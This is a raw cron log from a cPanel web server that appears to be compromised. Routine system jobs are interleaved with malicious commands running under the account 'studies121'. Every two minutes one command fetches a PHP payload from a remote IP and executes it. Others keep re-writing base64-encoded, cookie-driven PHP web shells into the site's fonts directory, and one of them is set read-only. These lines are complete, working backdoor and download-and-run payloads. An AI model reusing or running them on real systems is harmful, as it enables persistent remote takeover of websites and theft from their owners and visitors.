Sep  8 05:24:01 ip-184-168-122-23 CROND[18790]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:24:01 ip-184-168-122-23 CROND[18793]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:24:01 ip-184-168-122-23 CROND[18792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:25:01 ip-184-168-122-23 CROND[18928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:25:01 ip-184-168-122-23 CROND[18929]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:25:01 ip-184-168-122-23 CROND[18931]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:25:01 ip-184-168-122-23 CROND[18933]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:25:01 ip-184-168-122-23 CROND[18932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:25:01 ip-184-168-122-23 CROND[18934]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:26:01 ip-184-168-122-23 CROND[19052]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:26:01 ip-184-168-122-23 CROND[19053]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:26:01 ip-184-168-122-23 CROND[19054]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:26:01 ip-184-168-122-23 CROND[19057]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:26:01 ip-184-168-122-23 CROND[19055]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:27:01 ip-184-168-122-23 CROND[19285]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:27:01 ip-184-168-122-23 CROND[19286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:27:01 ip-184-168-122-23 CROND[19288]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:27:01 ip-184-168-122-23 CROND[19287]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:28:01 ip-184-168-122-23 CROND[19399]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:28:01 ip-184-168-122-23 CROND[19401]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:28:01 ip-184-168-122-23 CROND[19402]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:28:01 ip-184-168-122-23 CROND[19404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:28:01 ip-184-168-122-23 CROND[19403]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:29:01 ip-184-168-122-23 CROND[19522]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:29:01 ip-184-168-122-23 CROND[19524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:29:01 ip-184-168-122-23 CROND[19526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:29:01 ip-184-168-122-23 CROND[19527]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:30:01 ip-184-168-122-23 CROND[19666]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:30:01 ip-184-168-122-23 CROND[19668]: (root) CMD (/usr/local/cpanel/scripts/optimize_eximstats > /dev/null 2>&1)
Sep  8 05:30:01 ip-184-168-122-23 CROND[19667]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 05:30:01 ip-184-168-122-23 CROND[19670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:30:01 ip-184-168-122-23 CROND[19676]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:30:01 ip-184-168-122-23 CROND[19674]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:30:01 ip-184-168-122-23 CROND[19678]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:30:01 ip-184-168-122-23 CROND[19675]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:30:01 ip-184-168-122-23 CROND[19677]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:31:02 ip-184-168-122-23 CROND[19810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:31:02 ip-184-168-122-23 CROND[19811]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:31:02 ip-184-168-122-23 CROND[19813]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 05:31:02 ip-184-168-122-23 CROND[19815]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:31:02 ip-184-168-122-23 CROND[19816]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:32:01 ip-184-168-122-23 CROND[19947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:32:01 ip-184-168-122-23 CROND[19948]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:32:01 ip-184-168-122-23 CROND[19953]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:32:01 ip-184-168-122-23 CROND[19951]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:32:01 ip-184-168-122-23 CROND[19950]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:33:01 ip-184-168-122-23 CROND[20138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:33:01 ip-184-168-122-23 CROND[20139]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:33:01 ip-184-168-122-23 CROND[20140]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:33:01 ip-184-168-122-23 CROND[20141]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:34:01 ip-184-168-122-23 CROND[20278]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:34:01 ip-184-168-122-23 CROND[20280]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:34:01 ip-184-168-122-23 CROND[20281]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:34:01 ip-184-168-122-23 CROND[20283]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:34:01 ip-184-168-122-23 CROND[20282]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:35:01 ip-184-168-122-23 CROND[20404]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:35:01 ip-184-168-122-23 CROND[20407]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  8 05:35:01 ip-184-168-122-23 CROND[20409]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:35:01 ip-184-168-122-23 CROND[20411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:35:01 ip-184-168-122-23 CROND[20415]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:35:01 ip-184-168-122-23 CROND[20412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:35:01 ip-184-168-122-23 CROND[20413]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:35:01 ip-184-168-122-23 CROND[20414]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 05:36:01 ip-184-168-122-23 CROND[20549]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:36:01 ip-184-168-122-23 CROND[20550]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:36:01 ip-184-168-122-23 CROND[20551]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
